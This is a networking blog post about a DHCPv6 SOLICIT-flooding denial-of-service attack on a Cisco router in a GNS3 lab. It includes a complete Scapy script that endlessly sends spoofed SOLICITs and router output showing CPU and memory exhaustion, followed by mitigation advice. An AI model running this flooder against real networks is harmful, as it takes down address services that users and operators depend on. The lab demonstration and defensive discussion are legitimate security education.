Fake DHCPv6 attack
January 27, 2012 2 Comments
DHCPv6 relies on stateless UDP communication using UDP 546 and UDP 547 ports. As stated in the RFC 3315 this makes DHCPv6 particularly vulnerable to fake attack, in which SOLICIT messages are generated with random source prefixes.
Using DHCPv6 Rapid-Commit mode, ONLY two messages are exchanged between the client and the server to get an IPv6 prefix.
Picture1: lab topology – IOS 12.4(24)T implemented in GNS3

DHCPv6 server configuration:
| ipv6 dhcp pool SLAAC-POOL address prefix 2001:DB8:5AB::/64 lifetime infinite infinite dns-server 2001:DB8:5AB::57 domain-name nouri.com ! interface FastEthernet1/0 ip address 192.168.0.202 255.255.255.0 ipv6 address 2001:DB8::202/64 ipv6 enable ipv6 dhcp server pool0 rapid-commit end |
Layer2 Switch configuration:
| interface FastEthernet1/0 switchport access vlan 10 ! interface FastEthernet1/1 switchport mode trunk |
Below is the Scapy script used for the attack, though awkward, but do the job.
You can enter manually the DHCPv6 sever MAC address from the local neighbor table of through a script by pinging all DHCP agents multicast address FF02::1:2.
SOLCIT messages are sent blindly without even expecting any responses.
# -*- coding: utf-8 -*-
#! /usr/bin/env python
# DHCPv6 fake attack
# Date: 28/10/11
# Author: AJ NOURI (cciethebeginning.wordpress.com)
from scapy.all import *
from netaddr import *
# or from netaddr.strategy.ipv6 import *
import random
class randmac():
""" Generates two forms of random MAC address
and corresponding Link Local EUI-64 IPv6 address"""
def __init__(self):
"""
Generates MAC address string by chunks of one byte
"""
random.seed()
self.mac11 = str(hex(random.randint(0,255))[2:])
self.mac12 = str(hex(random.randint(0,255))[2:])
self.mac21 = str(hex(random.randint(0,255))[2:])
self.mac22 = str(hex(random.randint(0,255))[2:])
self.mac31 = str(hex(random.randint(0,255))[2:])
self.mac32 = str(hex(random.randint(0,255))[2:])
def form1b(self):
""" format 1 XX:XX:XX:XX:XX:XX"""
self.rez1 = self.mac11 + ":" + self.mac12 + ":" + self.mac21 + ":" + self.mac22 + ":" + self.mac31 + ":" + self.mac32
return self.rez1
def form2b(self):
""" format 2 XXXX.XXXX.XXXX"""
self.rez2 = self.mac11 + self.mac12 + "." + self.mac21 + self.mac22 + "." + self.mac31 + self.mac32
return self.rez2
def eui64(self):
""" Generates interface ID in EUI-64 format"""
self.rez3 = self.mac11 + self.mac12 + ":" + self.mac21 + "ff" + ":" + "fe" + self.mac22 + ":" + self.mac31 + self.mac32
return self.rez3
def ip6_ll_eui64(self):
""" Generates Link-local IPv6 addres in EUI-64 format"""
self.ip6_ll_eui64 = "fe80" + "::" + self.eui64()
return self.ip6_ll_eui64
def main():
# Building and initilizing DHCP SOLICIT packet layers with common parameters
l2 = Ether()
l3 = IPv6()
l4 = UDP()
sol = DHCP6_Solicit()
rc = DHCP6OptRapidCommit()
opreq = DHCP6OptOptReq()
et= DHCP6OptElapsedTime()
cid = DHCP6OptClientId()
iana = DHCP6OptIA_NA()
rc.optlen = 0
opreq.optlen = 4
iana.optlen = 12
iana.T1 = 0
iana.T2 = 0
cid.optlen = 10
""" DHCPv6 MAC address: you can enter manually or as argument to rthe script or get it automatically
""" by pinging DHCPv6 agent multicast ff02::1:2
macdst = "ca:00:39:b8:00:06"
l2.dst = macdst
l3.dst = "ff02::1:2"
l4.sport = 546
l4.dport = 547
#for i in range(1,1000):
while(1 == 1):
# Generating MAC and its corresponding IPv6 link-local in EUI-64 format
macs = randmac()
macsrc = macs.form1b()
ipv6llsrc = macs.ip6_ll_eui64()
# Initializaing the source addreses
l2.src = macsrc
l3.src = ipv6llsrc
random.seed()
# Generating SOLICIT message id
sol.trid = random.randint(0,16777215)
# Generating DUID-LL
cid.duid = ("00030001"+ str(EUI(macsrc)).replace("-","")).decode("hex")
# Assembing the packet
pkt = l2/l3/l4/sol/iana/rc/et/cid/opreq
try:
# GO!
sendp(pkt, iface='eth1')
except KeyboardInterrupt:
print 'Program Interrupted by user'
break
if __name__=="__main__":main()
Picture2: Fake DHCPv6 SOLICIT packets in Wireshark

Victim router:
| R2#sh ipv6 dhcp pool DHCPv6 pool: SLAAC-POOL Address allocation prefix: 2001:DB8:5AB::/64 valid 4294967295 preferred 4294967295 (91725 in use, 0 conflicts) DNS server: 2001:DB8:5AB::57 Domain name: nouri.com Active clients: 91725 R2# |
Look already at the number of fake active clients!
With a mask of /64 there are 18,446,744,073,709,551,616 hosts. Obviously the purpose is not to deplete the DHCPv6 prefixes; it will take a ridiculous amount of time to exhaust the pool. It is about CPU and memory resources exhaustion.
Resource consumption:
During the attack:
Baseline (before the attack):
During the attack:
100% of interrupt processing caused by DHCPv6 and ND processes activities.
| R2#sh proc cpu CPU utilization for five seconds: 92%/100%; one minute: 87%; five minutes: 83% PID Runtime(ms) Invoked uSecs 5Sec 1Min 5Min TTY Process … |
OK, maybe the effect on CPU will not be so harmful with HW equipments, but each binding table association will take the same amount of memory.
Thirty minutes later, the 128 Mbytes of our DHCPv6 router memory is depleted and the router starts firing syslog messages to signal the problem.
Imagine what you can do with a more sophisticated piece of software or with HW tools like Ixia or Spirent.
| Pool: Processor Free: 58968 Cause: Memory fragmentation Alternate Pool: None Free: 0 Cause: No Alternate pool -Process= “DHCPv6 Server“, ipl= 0, pid= 266, -Traceback= 0x6000A944z 0x600238C8z 0x63D60D6Cz 0x6220DB68z 0x622152E8z 0x62210170z 0x62210498z 0x62211128z 0x622112C8z 0x63079090z 0x63079074z *Jan 21 19:46:24.669: %SYS-2-MALLOCFAIL: Memory allocation of 320 bytes failed from 0x6220DB60, alignment 0 |
Here more self-explanatory figures about the event:
Picture3: CPU utilization

Picture4: memory utilization

Though the DHCPv6 SOLLICIT messages consume insignificant BW, the harm is caused by the amount of memory allocated by each packet.

The Denial of Service involves the binding table associated to the DHCPv6 configuration pool
| The DHCPv6 server maintains an automatic binding table in memory to track the assignment of some configuration parameters, such as prefixes between the server and its clients. The binding table contains the records about all the prefixes in the configuration pool that have been explicitly delegated to clients. Each entry in the binding table contains the following information: |
To clear the DHCPv6 router binding table:
| R2#clear ipv6 dhcp bind * |
Threat mitigation:
Here is a couple of threat mitigation tools you need to consider to mitigate the attack:
- 802.1x for layer2 authentication before even attending DHCPc6 process.
- Secure ND (SeND): is a more complex architecture requiring crypto, SeND capable hosts and PKI infrastructure. At least an entire post will be dedicated to it.
- ND related security can be used in the Layer2 switch connecting DHCPv6 clients:
- IPv6 device tracking to make sure neighbour table contains only live hosts.
- ND inspection: reject ND messages if MAC is unverifiable.
- Depending on the expected number of IPv6 users, you can set ND cache limit globally or per interface basis.
References:
http://www.ietf.org/rfc/rfc3315.txt
http://www.ietf.org/id/draft-ietf-dhc-secure-dhcpv6-04.txt










